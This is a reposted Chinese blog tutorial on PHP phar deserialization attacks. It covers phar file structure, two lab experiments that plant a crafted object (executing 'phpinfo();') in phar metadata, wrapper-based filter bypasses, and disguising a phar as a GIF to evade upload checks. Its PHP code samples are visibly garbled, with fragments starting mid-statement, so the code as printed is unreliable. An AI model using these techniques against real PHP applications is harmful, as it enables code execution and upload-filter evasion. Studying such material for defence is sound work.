文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

浅谈phar反序列化漏洞

2023-09-09 11:42

关注

目录

基础知识

前言

Phar基础

Phar文件结构

受影响的函数

漏洞实验

实验一

实验二

过滤绕过

补充


基础知识

前言

PHP反序列化常见的是使用unserilize()进行反序列化,除此之外还有其它的反序列化方法,不需要用到unserilize()。就是用到了本文的主要内容——phar反序列化

Phar基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构

  1. a stub是一个文件标志,格式为 :xxx

  2. manifest是被压缩的文件的属性等放在这里,是主要的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data。

  3. contents是被压缩的内容。

  4. signature签名,放在文件末尾。签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

受影响的函数

所有文件函数均可使用

但实际上只要调用了php_stream_open_wrapper的函数,都存在这样的问题。

漏洞实验

生成phar文件

注意:如果想要生成Phar文件,要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

startBuffering();$phar->setStub("");//设置stub$obj=new test();$phar->setMetadata($obj);//自定义的meta-data存入manifest$phar->addFromString("flag.txt","flag");//添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
name);    }}echo file_get_contents('phar://test.phar/flag.txt');?>

生成phar文件

name;    }}$a = new test();$a->name="phpinfo();";$phartest=new phar('phartest.phar',0);//后缀名必须为phar$phartest->startBuffering();//开始缓冲 Phar 写操作$phartest->setMetadata($a);//自定义的meta-data存入manifest$phartest->setStub("");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测$phartest->addFromString("test.txt","test");//添加要压缩的文件$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘?>
name);    }}$phardemo = file_get_contents('phar://phartest.phar/test.txt');echo $phardemo;

过滤绕过

有以下几种方法可以绕过:

compress.bzip2://phar://

compress.zlib://phar:///

php://filter/resource=phar://


除此之外,我们还可以将phar伪造成其他格式的文件。

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

startBuffering();    $phar->setStub("GIF89a".""); //设置stub,增加gif文件头    $o = new TestObject();    $phar->setMetadata($o); //将自定义meta-data存入manifest    $phar->addFromString("test.txt", "test"); //添加要压缩的文件    //签名自动计算    $phar->stopBuffering();?>

补充

windows端口被占用的问题

netstat -aon|findstr "8099"

tasklist|findstr "8972"

taskkill /f /t /im node.exe

来源地址:https://blog.csdn.net/qq_63701832/article/details/128764956

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     801人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     348人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     311人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     432人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     220人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯